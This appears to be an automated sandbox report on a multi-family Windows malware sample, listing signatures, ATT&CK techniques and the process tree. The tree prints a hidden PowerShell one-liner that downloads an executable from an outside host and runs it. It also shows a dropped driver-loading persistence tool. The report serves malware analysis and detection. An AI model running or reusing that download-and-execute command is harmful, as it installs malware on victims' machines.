Analysis
- max time kernel
149s - max time network
122s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
- submitted
09/07/2026, 03:47
General
- Target 2026-07-09_75fb3aed88b286047265611b2a9b35f8_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
- Size 1.2MB
- Sample260709-eb8axsds5s
- SHA256 43ade3b1d9e997327913ea94a3ba12d42599f719879caaa5a0de40739d8e7212
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
- Executes dropped EXE 1 IoCs
- Drops file in Windows directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-09_75fb3aed88b286047265611b2a9b35f8_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-09_75fb3aed88b286047265611b2a9b35f8_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SoftwareDistribution\Download\PmikK.exe"C:\Windows\SoftwareDistribution\Download\PmikK.exe" -map C:\Windows\SoftwareDistribution\Download\PmikK.sys2⤵
- Sets service image path in registry
- Executes dropped EXE
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:APPDATA\BK728699.exe; Start-Process -FilePath $env:APPDATA\BK728699.exe -WindowStyle Hidden }"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:APPDATA\BK728699.exe; Start-Process -FilePath $env:APPDATA\BK728699.exe -WindowStyle Hidden }"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:APPDATA\BK728699.exe; Start-Process -FilePath $env:APPDATA\BK728699.exe -WindowStyle Hidden }"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Replay Monitor
Loading Replay Monitor...
Downloads
PmikK.exe
memory/2032-10-0x00007FFB4508F000-0x00007FFB45090000-memory.dmp
memory/2032-11-0x00007FFB44F00000-0x00007FFB458A4000-memory.dmp
memory/2032-12-0x00007FFB44F00000-0x00007FFB458A4000-memory.dmp
memory/2032-15-0x0000013257E30000-0x0000013257E52000-memory.dmp
memory/2032-16-0x00007FFB44F00000-0x00007FFB458A4000-memory.dmp
memory/2032-17-0x00007FFB44F00000-0x00007FFB458A4000-memory.dmp
memory/2032-18-0x00007FFB44F00000-0x00007FFB458A4000-memory.dmp
memory/2032-19-0x00007FFB44F00000-0x00007FFB458A4000-memory.dmp
memory/2032-21-0x00007FFB44F00000-0x00007FFB458A4000-memory.dmp
memory/2032-20-0x00007FFB44F00000-0x00007FFB458A4000-memory.dmp
memory/2032-22-0x00007FFB44F00000-0x00007FFB458A4000-memory.dmp
memory/2032-23-0x00007FFB44F00000-0x00007FFB458A4000-memory.dmp
memory/2032-24-0x00007FFB44F00000-0x00007FFB458A4000-memory.dmp
memory/2032-25-0x00007FFB44F00000-0x00007FFB458A4000-memory.dmp
memory/2032-27-0x00007FFB44F00000-0x00007FFB458A4000-memory.dmp
memory/2032-28-0x00007FFB44F00000-0x00007FFB458A4000-memory.dmp
memory/2032-30-0x00007FFB44F00000-0x00007FFB458A4000-memory.dmp